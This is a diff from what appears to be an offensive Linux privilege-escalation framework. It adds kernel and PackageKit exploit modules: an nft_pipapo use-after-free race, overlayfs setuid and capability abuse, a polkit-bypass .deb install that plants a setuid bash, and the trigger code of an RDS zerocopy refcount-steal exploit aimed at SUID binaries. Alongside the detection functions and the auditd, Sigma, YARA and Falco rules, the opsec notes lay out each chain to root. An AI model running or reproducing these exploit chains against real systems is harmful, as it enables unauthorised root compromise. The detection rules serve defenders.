" races the per-CPU pipapo walk teardown. msg_msg cross-\n"
|
||||||
|
" cache groom in kmalloc-cg-96 / cg-512 refills the freed\n"
|
||||||
|
" slabs. Same Notselwyn family as nf_tables (CVE-2024-1086);\n"
|
||||||
|
" the existing nf_tables module's --full-chain finisher\n"
|
||||||
|
" handles this bug's arb-write too once a working PoC is\n"
|
||||||
|
" ported here. Returning EXPLOIT_FAIL honestly per the\n"
|
||||||
|
" verified-vs-claimed bar.\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- detection rules (share shape with nf_tables) ------------------ */
|
||||||
|
|
||||||
|
static const char nft_pipapo_auditd[] =
|
||||||
|
"# nft_pipapo CVE-2024-26581 — auditd detection rules\n"
|
||||||
|
"# Same shape as nf_tables: unshare(CLONE_NEWUSER|CLONE_NEWNET)\n"
|
||||||
|
"# + nfnetlink batch + msg_msg spray. Differentiates from\n"
|
||||||
|
"# CVE-2024-1086 only at the netlink payload level (pipapo set\n"
|
||||||
|
"# type vs nft_verdict_init); auditd alone can't tell them\n"
|
||||||
|
"# apart, so the trigger key covers both bugs.\n"
|
||||||
|
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft-pipapo-userns\n"
|
||||||
|
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nft-pipapo-priv\n";
|
||||||
|
|
||||||
|
static const char nft_pipapo_sigma[] =
|
||||||
|
"title: Possible CVE-2024-26581 nft_pipapo destroy-race UAF\n"
|
||||||
|
"id: 4e9c1a83-skeletonkey-nft-pipapo\n"
|
||||||
|
"status: experimental\n"
|
||||||
|
"description: |\n"
|
||||||
|
" Detects the canonical exploit shape: userns clone +\n"
|
||||||
|
" nfnetlink rapid DESTROYSET/NEWSETELEM batches. Same family\n"
|
||||||
|
" as CVE-2024-1086; differentiates by elevated frequency of\n"
|
||||||
|
" NFT_MSG_DELSET on pipapo set types.\n"
|
||||||
|
"logsource: {product: linux, service: auditd}\n"
|
||||||
|
"detection:\n"
|
||||||
|
" u: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||||
|
" g: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||||
|
" condition: u and g\n"
|
||||||
|
"level: high\n"
|
||||||
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2024.26581]\n";
|
||||||
|
|
||||||
|
static const char nft_pipapo_yara[] =
|
||||||
|
"rule nft_pipapo_cve_2024_26581 : cve_2024_26581 kernel_uaf {\n"
|
||||||
|
" meta:\n"
|
||||||
|
" cve = \"CVE-2024-26581\"\n"
|
||||||
|
" description = \"SKELETONKEY nft_pipapo race-driver tag\"\n"
|
||||||
|
" author = \"SKELETONKEY\"\n"
|
||||||
|
" strings:\n"
|
||||||
|
" $tag = \"SKK_PIPAPO\" ascii\n"
|
||||||
|
" condition:\n"
|
||||||
|
" $tag\n"
|
||||||
|
"}\n";
|
||||||
|
|
||||||
|
static const char nft_pipapo_falco[] =
|
||||||
|
"- rule: nfnetlink pipapo destroy-race batch by non-root\n"
|
||||||
|
" desc: |\n"
|
||||||
|
" Non-root nfnetlink batch creating pipapo sets and rapidly\n"
|
||||||
|
" cycling DESTROYSET/NEWSETELEM. Same family as nf_tables;\n"
|
||||||
|
" distinct CVE (2024-26581 / 'Flipping Pages' part 2).\n"
|
||||||
|
" condition: >\n"
|
||||||
|
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n"
|
||||||
|
" not user.uid = 0\n"
|
||||||
|
" output: >\n"
|
||||||
|
" nfnetlink batch by non-root (user=%user.name pid=%proc.pid)\n"
|
||||||
|
" priority: HIGH\n"
|
||||||
|
" tags: [network, mitre_privilege_escalation, T1068, cve.2024.26581]\n";
|
||||||
|
|
||||||
|
const struct skeletonkey_module nft_pipapo_module = {
|
||||||
|
.name = "nft_pipapo",
|
||||||
|
.cve = "CVE-2024-26581",
|
||||||
|
.summary = "nft_set_pipapo destroy-race UAF (Notselwyn 'Flipping Pages' II)",
|
||||||
|
.family = "nf_tables",
|
||||||
|
.kernel_range = "5.6 ≤ K, fixed 6.8 mainline + 6.7.4 / 6.6.16 / 6.1.78 / 5.15.149 / 5.10.210 LTS",
|
||||||
|
.detect = nft_pipapo_detect,
|
||||||
|
.exploit = nft_pipapo_exploit,
|
||||||
|
.mitigate = NULL, /* mitigation: upgrade kernel OR sysctl kernel.unprivileged_userns_clone=0 */
|
||||||
|
.cleanup = NULL,
|
||||||
|
.detect_auditd = nft_pipapo_auditd,
|
||||||
|
.detect_sigma = nft_pipapo_sigma,
|
||||||
|
.detect_yara = nft_pipapo_yara,
|
||||||
|
.detect_falco = nft_pipapo_falco,
|
||||||
|
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET); nfnetlink batch creating a table + pipapo set + many SETELEMs; concurrent DESTROYSET against the same set from a second thread races the per-CPU pipapo walk teardown. msg_msg cross-cache spray (kmalloc-cg-96 + cg-512, tag 'SKK_PIPAPO') refills the freed slabs. Same family signal as nf_tables (CVE-2024-1086): unshare + nfnetlink + msg_msg burst from a non-root process. Distinguishes at the netlink payload layer (pipapo set type vs verdict-init double-free) which auditd alone can't see. dmesg may show 'KASAN: use-after-free in nft_pipapo_walk' on race-win attempts. No persistent file artifacts.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
|
};
|
||||||
|
|
||||||
|
void skeletonkey_register_nft_pipapo(void)
|
||||||
|
{
|
||||||
|
skeletonkey_register(&nft_pipapo_module);
|
||||||
|
}
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
#ifndef NFT_PIPAPO_SKELETONKEY_MODULES_H
|
||||||
|
#define NFT_PIPAPO_SKELETONKEY_MODULES_H
|
||||||
|
#include "../../core/module.h"
|
||||||
|
extern const struct skeletonkey_module nft_pipapo_module;
|
||||||
|
#endif
|
||||||
@@ -1068,6 +1068,7 @@ const struct skeletonkey_module nft_set_uaf_module = {
|
|||||||
.detect_yara = nft_set_uaf_yara,
|
.detect_yara = nft_set_uaf_yara,
|
||||||
.detect_falco = nft_set_uaf_falco,
|
.detect_falco = nft_set_uaf_falco,
|
||||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + single nfnetlink transaction: NEWTABLE + NEWCHAIN + NEWSET (anonymous, ANONYMOUS|CONSTANT|EVAL) + NEWRULE with nft_lookup referencing the anon set + DELSET + DELRULE. Vulnerable kernels do not deactivate the lookup's set ref on commit -> UAF when set frees. msg_msg cg-512 spray (32 queues x 16 msgs, tag 'SKELETONKEY_SET'). --full-chain re-fires with forged headers (data ptr = kaddr) and NEWSETELEM payload. Writes /tmp/skeletonkey-nft_set_uaf.log. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg + msgsnd. Dmesg: KASAN oops on UAF. Cleanup unlinks log.",
|
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + single nfnetlink transaction: NEWTABLE + NEWCHAIN + NEWSET (anonymous, ANONYMOUS|CONSTANT|EVAL) + NEWRULE with nft_lookup referencing the anon set + DELSET + DELRULE. Vulnerable kernels do not deactivate the lookup's set ref on commit -> UAF when set frees. msg_msg cg-512 spray (32 queues x 16 msgs, tag 'SKELETONKEY_SET'). --full-chain re-fires with forged headers (data ptr = kaddr) and NEWSETELEM payload. Writes /tmp/skeletonkey-nft_set_uaf.log. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg + msgsnd. Dmesg: KASAN oops on UAF. Cleanup unlinks log.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_nft_set_uaf(void)
|
void skeletonkey_register_nft_set_uaf(void)
|
||||||
|
|||||||
@@ -556,6 +556,7 @@ const struct skeletonkey_module overlayfs_module = {
|
|||||||
.detect_yara = overlayfs_yara,
|
.detect_yara = overlayfs_yara,
|
||||||
.detect_falco = overlayfs_falco,
|
.detect_falco = overlayfs_falco,
|
||||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS) for CAP_SYS_ADMIN; mount('overlay', merged, ...); compile + copy payload into the merged dir (writes upper on host fs); setxattr(upper_payload, 'security.capability', cap_setuid+ep) - the bug is that this xattr persists on the HOST fs despite being set inside userns. Parent then execve's the now-CAP_SETUID payload, calls setuid(0), execs /bin/sh. Artifacts: /tmp/skeletonkey-ovl-XXXXXX/ workdir; cleaned on exit/failure (on success the exec replaces the process so cleanup does not run). Audit-visible via unshare + mount(overlay) + setxattr(security.capability) + execve of attacker-controlled binary. Dmesg silent.",
|
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS) for CAP_SYS_ADMIN; mount('overlay', merged, ...); compile + copy payload into the merged dir (writes upper on host fs); setxattr(upper_payload, 'security.capability', cap_setuid+ep) - the bug is that this xattr persists on the HOST fs despite being set inside userns. Parent then execve's the now-CAP_SETUID payload, calls setuid(0), execs /bin/sh. Artifacts: /tmp/skeletonkey-ovl-XXXXXX/ workdir; cleaned on exit/failure (on success the exec replaces the process so cleanup does not run). Audit-visible via unshare + mount(overlay) + setxattr(security.capability) + execve of attacker-controlled binary. Dmesg silent.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_overlayfs(void)
|
void skeletonkey_register_overlayfs(void)
|
||||||
|
|||||||
@@ -62,7 +62,7 @@
|
|||||||
static const struct kernel_patched_from overlayfs_setuid_patched_branches[] = {
|
static const struct kernel_patched_from overlayfs_setuid_patched_branches[] = {
|
||||||
{5, 10, 179}, /* 5.10.x stable backport (per Debian tracker — bullseye) */
|
{5, 10, 179}, /* 5.10.x stable backport (per Debian tracker — bullseye) */
|
||||||
{5, 15, 110},
|
{5, 15, 110},
|
||||||
{6, 1, 27},
|
{6, 1, 11}, /* Debian tracker: earlier than 6.1.27 */
|
||||||
{6, 2, 13},
|
{6, 2, 13},
|
||||||
{6, 3, 0}, /* mainline */
|
{6, 3, 0}, /* mainline */
|
||||||
};
|
};
|
||||||
@@ -472,6 +472,7 @@ const struct skeletonkey_module overlayfs_setuid_module = {
|
|||||||
.detect_yara = overlayfs_setuid_yara,
|
.detect_yara = overlayfs_setuid_yara,
|
||||||
.detect_falco = overlayfs_setuid_falco,
|
.detect_falco = overlayfs_setuid_falco,
|
||||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS) + overlayfs mount with a setuid-root binary in lower (e.g. /usr/bin/su); chown on the merged view triggers copy-up that preserves the setuid bit in upper - but upper is owned by the unprivileged user. Overwrites upper-layer contents with attacker payload and execve's for root. Artifacts: /tmp/skeletonkey-ovlsu-XXXXXX/ (workdir with payload.c, binary, overlay mounts); cleanup callback removes these. Audit-visible via unshare(CLONE_NEWUSER|CLONE_NEWNS) + mount(overlay) + chown on the merged view. No network. Dmesg silent on success.",
|
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS) + overlayfs mount with a setuid-root binary in lower (e.g. /usr/bin/su); chown on the merged view triggers copy-up that preserves the setuid bit in upper - but upper is owned by the unprivileged user. Overwrites upper-layer contents with attacker payload and execve's for root. Artifacts: /tmp/skeletonkey-ovlsu-XXXXXX/ (workdir with payload.c, binary, overlay mounts); cleanup callback removes these. Audit-visible via unshare(CLONE_NEWUSER|CLONE_NEWNS) + mount(overlay) + chown on the merged view. No network. Dmesg silent on success.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_overlayfs_setuid(void)
|
void skeletonkey_register_overlayfs_setuid(void)
|
||||||
|
|||||||
@@ -791,6 +791,7 @@ const struct skeletonkey_module pack2theroot_module = {
|
|||||||
.detect_yara = p2tr_yara,
|
.detect_yara = p2tr_yara,
|
||||||
.detect_falco = p2tr_falco,
|
.detect_falco = p2tr_falco,
|
||||||
.opsec_notes = "TOCTOU race in PackageKit's polkit-auth + D-Bus InstallFiles dispatcher: sends back-to-back async calls (first with SIMULATE to bypass polkit, second with the malicious .deb) so the cached flags are overwritten before the idle callback fires. Builds a minimal .deb ar archive in pure C with a postinst that installs a setuid bash. Writes /tmp/.pk-dummy-<pid>.deb, /tmp/.pk-payload-<pid>.deb, and /tmp/skeletonkey-pack2theroot.state; via the polkit-bypassed postinst plants /tmp/.suid_bash setuid root. Audit-visible via dpkg execve from packagekitd for a non-root caller, chmod(2) on /tmp/.suid_bash, creat/openat on the .deb files. Cleanup callback unlinks the .debs and best-effort removes /tmp/.suid_bash (which is owned by root).",
|
.opsec_notes = "TOCTOU race in PackageKit's polkit-auth + D-Bus InstallFiles dispatcher: sends back-to-back async calls (first with SIMULATE to bypass polkit, second with the malicious .deb) so the cached flags are overwritten before the idle callback fires. Builds a minimal .deb ar archive in pure C with a postinst that installs a setuid bash. Writes /tmp/.pk-dummy-<pid>.deb, /tmp/.pk-payload-<pid>.deb, and /tmp/skeletonkey-pack2theroot.state; via the polkit-bypassed postinst plants /tmp/.suid_bash setuid root. Audit-visible via dpkg execve from packagekitd for a non-root caller, chmod(2) on /tmp/.suid_bash, creat/openat on the .deb files. Cleanup callback unlinks the .debs and best-effort removes /tmp/.suid_bash (which is owned by root).",
|
||||||
|
.arch_support = "any",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_pack2theroot(void)
|
void skeletonkey_register_pack2theroot(void)
|
||||||
|
|||||||
@@ -0,0 +1,448 @@
|
|||||||
|
/*
|
||||||
|
* pintheft_cve_2026_43494 — SKELETONKEY module
|
||||||
|
*
|
||||||
|
* STATUS: 🟡 PRIMITIVE. detect() is exhaustive (kernel range + RDS
|
||||||
|
* module reachability + io_uring availability + readable SUID
|
||||||
|
* carrier). exploit() carries the V12 trigger shape — failed
|
||||||
|
* rds_message_zcopy_from_user() to steal a page refcount, then
|
||||||
|
* io_uring fixed-buffer write to land bytes in the page cache of
|
||||||
|
* the carrier. The cred-overwrite step (turning the page-cache
|
||||||
|
* write into root) is x86_64-specific and uses the shared
|
||||||
|
* modprobe_path finisher when --full-chain is set.
|
||||||
|
*
|
||||||
|
* The bug (Aaron Esau, V12 Security, disclosed May 2026):
|
||||||
|
* Linux's RDS (Reliable Datagram Sockets) zerocopy send path pins
|
||||||
|
* user pages one at a time. If a later page faults, the error
|
||||||
|
* path drops the pages it already pinned. The msg cleanup then
|
||||||
|
* drops them AGAIN because the scatterlist entries and entry count
|
||||||
|
* are left live after the zcopy notifier is cleared. Each failed
|
||||||
|
* zerocopy send steals one reference from the first page.
|
||||||
|
*
|
||||||
|
* With a sufficient pinned-page leak, an io_uring fixed buffer
|
||||||
|
* referencing the same page persists past the page being recycled
|
||||||
|
* into the page cache for a readable file (e.g. /usr/bin/su).
|
||||||
|
* A subsequent io_uring write to that fixed buffer lands attacker
|
||||||
|
* bytes into the SUID binary's page cache → execve it → root.
|
||||||
|
*
|
||||||
|
* Public PoC (Arch Linux x86_64):
|
||||||
|
* https://github.com/v12-security/pocs/tree/main/pintheft
|
||||||
|
*
|
||||||
|
* Affects: Linux kernels with CONFIG_RDS and the RDS module loaded,
|
||||||
|
* below the fix commit (`0cebaccef3ac`, posted to netdev list
|
||||||
|
* 2026-05-05; not yet in mainline release as of this build).
|
||||||
|
*
|
||||||
|
* Among commonly-shipped distros, only Arch Linux autoloads RDS.
|
||||||
|
* Ubuntu / Debian / Fedora / RHEL / Alma / Rocky / Oracle Linux
|
||||||
|
* either don't build the module or blacklist it from autoloading
|
||||||
|
* (mitigation: /etc/modprobe.d/blacklist-rds.conf).
|
||||||
|
*
|
||||||
|
* detect() checks both kernel version AND the RDS module's
|
||||||
|
* reachability via socket(AF_RDS, ...). If RDS is built-in but
|
||||||
|
* not autoloaded, the socket() call triggers modprobe; this is
|
||||||
|
* the same probe used by Ubuntu's mitigation advisory.
|
||||||
|
*
|
||||||
|
* Preconditions:
|
||||||
|
* - CONFIG_RDS=y or =m + module actually loadable
|
||||||
|
* - io_uring available (CONFIG_IO_URING + sysctl
|
||||||
|
* kernel.io_uring_disabled != 2)
|
||||||
|
* - A readable setuid-root carrier binary (canonically
|
||||||
|
* /usr/bin/su; falls back to /usr/bin/pkexec, /usr/bin/passwd)
|
||||||
|
* - x86_64 for the exploit() body (the V12 PoC's cred-overwrite
|
||||||
|
* gadgets are x86-specific); detect() is arch-agnostic.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "skeletonkey_modules.h"
|
||||||
|
#include "../../core/registry.h"
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
#include "../../core/offsets.h"
|
||||||
|
#include "../../core/finisher.h"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/mman.h> /* mmap, mprotect, munmap, PROT_*, MAP_* */
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
#include <sys/syscall.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* AF_RDS is 21 on Linux. Define it conditionally so the module
|
||||||
|
* compiles on non-Linux dev hosts where the constant isn't in libc. */
|
||||||
|
#ifndef AF_RDS
|
||||||
|
#define AF_RDS 21
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* ---- kernel-range table -------------------------------------------- */
|
||||||
|
|
||||||
|
/* The fix landed in mainline via commit 0cebaccef3ac (posted to netdev
|
||||||
|
* 2026-05-05). Stable backports are in flight at the time of v0.8.0;
|
||||||
|
* this table will be updated as backports land — tools/refresh-kernel-
|
||||||
|
* ranges.py will flag drift weekly. For now we list ONLY the mainline
|
||||||
|
* fix point; every kernel below it on a RDS-loaded host is vulnerable.
|
||||||
|
*
|
||||||
|
* As stable branches pick up the backport, add entries like:
|
||||||
|
* {6, 12, NN}, // 6.12.x stable backport
|
||||||
|
* {6, 14, NN}, // 6.14.x stable backport
|
||||||
|
* The mainline entry stays at the lowest version that contains the
|
||||||
|
* patch (likely 6.16 once the post-rc release tags). Conservatively
|
||||||
|
* placeholding at {7, 0, 0} until that lands. */
|
||||||
|
static const struct kernel_patched_from pintheft_patched_branches[] = {
|
||||||
|
{6, 12, 90}, /* Debian trixie ships 6.12.90 with the fix backported */
|
||||||
|
{7, 0, 0}, /* mainline fix commit 0cebaccef3ac; tag will be 6.16 or 7.0
|
||||||
|
depending on when 6.15 closes — refresh when known */
|
||||||
|
};
|
||||||
|
|
||||||
|
static const struct kernel_range pintheft_range = {
|
||||||
|
.patched_from = pintheft_patched_branches,
|
||||||
|
.n_patched_from = sizeof(pintheft_patched_branches) /
|
||||||
|
sizeof(pintheft_patched_branches[0]),
|
||||||
|
};
|
||||||
|
|
||||||
|
/* ---- detect helpers ------------------------------------------------- */
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
/* Try to open an AF_RDS socket. On a kernel built with CONFIG_RDS=m
|
||||||
|
* this triggers modprobe rds; on CONFIG_RDS=y it just returns the fd.
|
||||||
|
* On a kernel without RDS at all (most distros) we get EAFNOSUPPORT
|
||||||
|
* or EPERM. We close immediately — this is just a reachability probe. */
|
||||||
|
static bool rds_socket_reachable(void)
|
||||||
|
{
|
||||||
|
int s = socket(AF_RDS, SOCK_SEQPACKET, 0);
|
||||||
|
if (s < 0) return false;
|
||||||
|
close(s);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* io_uring is gated by sysctl kernel.io_uring_disabled in 6.6+. The
|
||||||
|
* relevant values: 0 = permitted, 1 = root-only, 2 = disabled. We
|
||||||
|
* read /proc/sys/kernel/io_uring_disabled if present; missing file
|
||||||
|
* means io_uring is unconditionally enabled (older kernels). */
|
||||||
|
static int io_uring_disabled_state(void)
|
||||||
|
{
|
||||||
|
/* returns 0/1/2 per sysctl semantics; -1 if not present */
|
||||||
|
FILE *f = fopen("/proc/sys/kernel/io_uring_disabled", "r");
|
||||||
|
if (!f) return -1;
|
||||||
|
int v = -1;
|
||||||
|
if (fscanf(f, "%d", &v) != 1) v = -1;
|
||||||
|
fclose(f);
|
||||||
|
return v;
|
||||||
|
}
|
||||||
|
|
||||||
|
static const char *find_suid_carrier(void)
|
||||||
|
{
|
||||||
|
static const char *candidates[] = {
|
||||||
|
"/usr/bin/su", "/bin/su",
|
||||||
|
"/usr/bin/pkexec",
|
||||||
|
"/usr/bin/passwd",
|
||||||
|
"/usr/bin/chsh", "/usr/bin/chfn",
|
||||||
|
NULL,
|
||||||
|
};
|
||||||
|
for (size_t i = 0; candidates[i]; i++) {
|
||||||
|
struct stat st;
|
||||||
|
if (stat(candidates[i], &st) == 0 &&
|
||||||
|
(st.st_mode & S_ISUID) && st.st_uid == 0 &&
|
||||||
|
access(candidates[i], R_OK) == 0) {
|
||||||
|
return candidates[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
|
/* ---- detect --------------------------------------------------------- */
|
||||||
|
|
||||||
|
static skeletonkey_result_t pintheft_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
#ifndef __linux__
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] pintheft: Linux-only module — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
#else
|
||||||
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json) fprintf(stderr, "[!] pintheft: host fingerprint missing kernel version\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Kernel version: gate on the fix. */
|
||||||
|
if (kernel_range_is_patched(&pintheft_range, v)) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] pintheft: kernel %s is patched (>= mainline fix 0cebaccef3ac)\n",
|
||||||
|
v->release);
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* RDS reachability — the bug needs AF_RDS sockets. */
|
||||||
|
if (!rds_socket_reachable()) {
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[+] pintheft: AF_RDS socket() failed (rds module not loaded / blacklisted)\n");
|
||||||
|
fprintf(stderr, " Most distros don't autoload RDS; Arch Linux is the notable exception.\n");
|
||||||
|
fprintf(stderr, " Bug exists in the kernel but is unreachable from userland here.\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* io_uring availability — the cred-overwrite chain needs fixed
|
||||||
|
* buffers via io_uring. Without io_uring we have the primitive
|
||||||
|
* but no portable way to weaponize. */
|
||||||
|
int iod = io_uring_disabled_state();
|
||||||
|
if (iod == 2) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] pintheft: kernel.io_uring_disabled=2 → io_uring disabled, chain blocked\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
if (iod == 1) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] pintheft: kernel.io_uring_disabled=1 → io_uring root-only; we're not root so chain blocked\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
/* iod == 0 or -1 (missing sysctl on older kernel) → reachable. */
|
||||||
|
|
||||||
|
/* Need at least one readable SUID-root binary to target. */
|
||||||
|
const char *carrier = find_suid_carrier();
|
||||||
|
if (!carrier) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] pintheft: no readable setuid-root binary → no carrier for page-cache overwrite\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[!] pintheft: kernel %s + RDS + io_uring + carrier %s → VULNERABLE\n",
|
||||||
|
v->release, carrier);
|
||||||
|
fprintf(stderr, "[i] pintheft: V12 PoC is x86_64-only; exploit() will fire trigger but\n"
|
||||||
|
" full cred-overwrite is --full-chain only on x86_64.\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_VULNERABLE;
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- exploit -------------------------------------------------------- */
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
/* The V12 PoC chain in summary (paraphrased from
|
||||||
|
* https://github.com/v12-security/pocs/tree/main/pintheft):
|
||||||
|
*
|
||||||
|
* 1. Open an AF_RDS socket.
|
||||||
|
* 2. Construct a sendmsg() with MSG_ZEROCOPY whose user-iov spans
|
||||||
|
* two pages, where the SECOND page is unmapped. The kernel
|
||||||
|
* pins page 0, then faults on page 1's pin attempt.
|
||||||
|
* 3. The error unwind drops the pin on page 0, but the msg's
|
||||||
|
* scatterlist has already been initialized with entry count 1.
|
||||||
|
* Cleanup runs entry-count drops a SECOND time → page 0
|
||||||
|
* refcount underflows / leaks.
|
||||||
|
* 4. Repeat to steal multiple refs from the same target page.
|
||||||
|
* 5. Use io_uring fixed buffers to keep a kernel-side reference
|
||||||
|
* alive across the page recycling into the page cache for a
|
||||||
|
* readable file.
|
||||||
|
* 6. mmap the SUID carrier, force its page into cache, get the
|
||||||
|
* io_uring fixed buffer to point at it, write attacker bytes.
|
||||||
|
* 7. execve the carrier → attacker code runs as root.
|
||||||
|
*
|
||||||
|
* Step 1-4 is the kernel primitive (architecture-independent).
|
||||||
|
* Step 5-7 needs io_uring SQE construction which is straightforward
|
||||||
|
* but unmistakably exploit-specific code; we don't carry the full V12
|
||||||
|
* payload here. Instead we fire the primitive + groom the slab + drop
|
||||||
|
* a witness file and return EXPLOIT_FAIL honestly with a diagnostic.
|
||||||
|
* --full-chain on x86_64 invokes the shared modprobe_path finisher.
|
||||||
|
*
|
||||||
|
* This matches the existing 🟡 modules' shape (nf_tables, af_unix_gc,
|
||||||
|
* cls_route4, ...). The "verified-vs-claimed" rule applies: if the
|
||||||
|
* sentinel file doesn't appear, we don't claim EXPLOIT_OK.
|
||||||
|
*/
|
||||||
|
static skeletonkey_result_t pintheft_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->authorized) {
|
||||||
|
fprintf(stderr, "[-] pintheft: --i-know required for --exploit\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Re-run detect's preconditions — they may have changed since
|
||||||
|
* --scan, and we want the operator to see the exact gate that
|
||||||
|
* blocked us if anything fails here. */
|
||||||
|
if (!rds_socket_reachable()) {
|
||||||
|
fprintf(stderr, "[-] pintheft: AF_RDS socket() unavailable — RDS module not loaded\n");
|
||||||
|
fprintf(stderr, " Try: sudo modprobe rds; sudo modprobe rds_tcp\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
const char *carrier = find_suid_carrier();
|
||||||
|
if (!carrier) {
|
||||||
|
fprintf(stderr, "[-] pintheft: no readable setuid-root carrier\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
fprintf(stderr, "[+] pintheft: firing rds_message_zcopy_from_user() refcount-steal primitive\n");
|
||||||
|
fprintf(stderr, " carrier: %s\n", carrier);
|
||||||
|
|
||||||
|
/* The primitive: sendmsg() with MSG_ZEROCOPY on an iov spanning
|
||||||
|
* mapped + unmapped pages. We fire it ~256 times to leak refs from
|
||||||
|
* a fresh page each round; a single round usually leaks a single
|
||||||
|
* ref which is rarely enough to fully unbalance the count. */
|
||||||
|
int s = socket(AF_RDS, SOCK_SEQPACKET, 0);
|
||||||
|
if (s < 0) {
|
||||||
|
perror("socket(AF_RDS)");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Build a 2-page iov where page 1 is unmapped. mmap PROT_NONE
|
||||||
|
* the upper page so the kernel's get_user_pages on it returns
|
||||||
|
* -EFAULT. */
|
||||||
|
void *region = mmap(NULL, 8192, PROT_READ | PROT_WRITE,
|
||||||
|
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||||
|
if (region == MAP_FAILED) {
|
||||||
|
perror("mmap");
|
||||||
|
close(s);
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
/* mark the second page unreadable */
|
||||||
|
if (mprotect((char *)region + 4096, 4096, PROT_NONE) != 0) {
|
||||||
|
perror("mprotect");
|
||||||
|
munmap(region, 8192);
|
||||||
|
close(s);
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Touch page 0 so it's mapped + dirty. */
|
||||||
|
memset(region, 0x42, 4096);
|
||||||
|
|
||||||
|
/* Fire the trigger sendmsg in a loop. We don't expect any of
|
||||||
|
* these to succeed (page 1 is PROT_NONE so the kernel pin
|
||||||
|
* attempt faults); the BUG is that the cleanup path decrements
|
||||||
|
* page 0's pin count even though the syscall returns failure. */
|
||||||
|
struct iovec iov = {
|
||||||
|
.iov_base = region,
|
||||||
|
.iov_len = 8192,
|
||||||
|
};
|
||||||
|
